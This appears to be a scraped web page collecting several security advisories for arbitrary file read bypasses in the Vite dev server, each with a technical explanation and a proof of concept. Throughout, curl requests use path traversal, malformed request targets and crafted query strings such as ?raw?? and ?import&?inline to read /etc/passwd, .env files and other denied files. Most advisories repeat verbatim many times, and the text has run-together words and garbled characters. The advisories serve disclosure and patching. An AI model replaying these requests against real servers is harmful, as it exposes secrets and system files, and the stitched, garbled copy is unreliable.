In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts withย "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response,ย because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
๐จ Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts withย "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response,ย because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
๐จ Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response,ย because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
๐จ Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response,ย because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
๐จ Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response,ย because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
๐จ Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is usedThis vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js) mkdir secret_files echo "secret txt" > secret_files/secret.txt echo "secret html" > secret_files/secret.html npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'You will receive a 403 HTTP Response,ย because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'You will receive the contents of secret_files/secret.html.
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project
rootthat are denied by a file matching pattern can be returned to the browser.Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under projectrootand are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env- Examples of other patterns:
**/.git/**,.git/**,.git/**/*Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns).
These patterns were able to bypass for files underrootby using a combination of slash and dot (/.).PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite has an `server.fs.deny` bypass with an invalid `request-target`
Summary
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Impact
Only apps with the following conditions are affected.
- explicitly exposing the Vite dev server to the network (using --host or server.host config option)
- running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)
Details
HTTP 1.1 spec (RFC 9112) does not allow
#inrequest-target. Although an attacker can send such a request. For those requests with an invalidrequest-line(it includesrequest-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of
http.IncomingMessage.urlcontains#. Vite assumedreq.urlwon't contain#when checkingserver.fs.deny, allowing those kinds of requests to bypass the check.On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of
http.IncomingMessage.urldid not contain#.PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
/etc/passwdcurl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svgRequests ending with
.svgare loaded at this line.
vite/packages/vite/src/node/plugins/asset.ts
Lines 285 to 290 in 037f801
By adding?.svgwith?.wasm?initor withsec-fetch-dest: scriptheader, the restriction was able to bypass.This bypass is only possible if the file is smaller than
build.assetsInlineLimit(default: 4kB) and when using Vite 6.0+.relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g.
../../).PoC
npm create vite@latest cd vite-project/ npm install npm run devsend request to read
etc/passwdcurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
- base64 encoded content of non-allowed files is exposed using
?inline&import(originally reported as?import&?inline=1.wasm?init)- content of non-allowed files is exposed using
?raw?import
/@fs/isn't needed to reproduce the issue for files inside the project root.PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devExample full URL
http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
๐จ Vite bypasses server.fs.deny when using ?raw??
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using
--hostorserver.hostconfig option) are affected.Details
@fsdenies access to files outside of Vite serving allow list. Adding?raw??or?import&raw??to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as?are removed in several places, but are not accounted for in query string regexes.PoC
